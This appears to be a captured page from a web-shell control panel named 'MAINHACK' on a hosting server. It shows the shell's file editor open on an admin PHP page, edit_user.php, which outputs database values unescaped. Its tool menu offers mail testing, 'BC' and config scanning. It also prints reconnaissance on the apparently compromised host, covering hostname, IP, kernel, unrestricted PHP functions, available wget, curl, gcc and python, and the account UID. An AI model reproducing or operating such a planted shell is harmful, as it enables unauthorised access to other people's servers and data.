[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit_user.php
<?php include('header.php'); ?> <style> .col-md-6,.col-md-4,.col-md-3,.col-md-2{ display:inline-block !important; } </style> <div class="main-panel"> <div class="content"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <div class="card-title">Show User</div> </div> <?php $sr='user'; $stmt =$show->readwithdata($sr,'id',$_REQUEST['id']); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ $ptitle=$row['title']; $description=$row['description']; $product_id=$row['product_id']; ?> <form method="post" id="exampleValidation" data-toggle="validator" enctype="multipart/form-data" > <div class="card-body"> <div class="form-group"> <div class="col-md-4"> <label>Name <span class="required-label">*</span></label> <input type="text" class="form-control" id="name" readonly value="<?=$row['name']?>" placeholder=" Name" > </div> <div class="col-md-4"> <label>Email <span class="required-label">*</span></label> <input type="text" class="form-control" id="name" readonly value="<?=$row['email']?>" placeholder="Email" > </div> <div class="col-md-3"> <label>Phone <span class="required-label">*</span></label> <input type="text" class="form-control" id="name" readonly value="<?=$row['phone']?>" placeholder="Phone" > </div> </div> <div class="form-group"> <div class="col-md-6"><label>Address</label> <input type="text" class="form-control" readonly value="<?=$row['address']?>" placeholder="Address"> </div> <div class="col-md-2"><label>Pincode</label> <input type="text" class="form-control" readonly value="<?=$row['pincode']?>" placeholder="Pincode"> </div> <div class="col-md-3"><label>State</label> <input type="text" class="form-control" readonly value="<?=$row['state']?>" placeholder="State"> </div> </div> <div class="form-group"> <div class="col-md-4"> <label>City</label> <input type="text" class="form-control" readonly value="<?=$row['city']?>" placeholder="City"> </div> <div class="col-md-4"> <label>Status</label> <input type="text" class="form-control" readonly value="<?=$row['status']?>" > </div> </div> </div> <div class="seperator-solid"></div> <div class="card-action"> <div class="row"> <div class="col-md-12"> <a href="all_customers.php" class="btn btn-success">Back</a> <button class="btn btn-danger">Cancel</button> </div> </div> </div> </form> <?php } } ?> </div> </div> <?php if(isset($_POST['sub'])){ $price=$_POST['price']; $price1=$_POST['discounted_price']; $dis=$price-$price1; $total_dis=$dis/$price; $dis_per=$total_dis*100; $discount=round($dis_per); $allowed = ["title","category","description","metal","stone","size","sub_category"]; $params = []; $setStr = ""; foreach ($allowed as $key) { if (isset($_POST[$key]) && $key != "uid") { $setStr .= "`$key` = :$key,"; $params[$key] = htmlspecialchars($_POST[$key]); } } if(isset($_FILES['uploadImg'])){ foreach($_FILES['uploadImg']['tmp_name'] as $key=>$value){ $img1=$show->imageEdit($_FILES['uploadImg']['name'][$key]); $data1 = array( 'product_id' => $product_id, 'img' => $img1, ); if(move_uploaded_file($_FILES['uploadImg']['tmp_name'][$key],"../product_img/".$img1)){ if($show->insert('product_img',$data1)){ } } } } $setStr .="`price`=:price,`discounted_price`=:discounted_price,`discount`=:discount,"; $setStr = rtrim($setStr, ","); $params['product_id'] =$product_id; $params['price'] =$price; $params['discounted_price'] =$price1; $params['discount'] =$discount; $show->table ='product'; $show->cols =$setStr; $show->id_name ='product_id'; $show->params =$params; //print_r($params); if($show->update_all()){ echo '<script> setTimeout(function() { swal({ title: "Thank You ", text: "for Updating!", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; } else{ echo "ss"; } }?> </div></div> </div> </div> <!--footer--> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.21 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619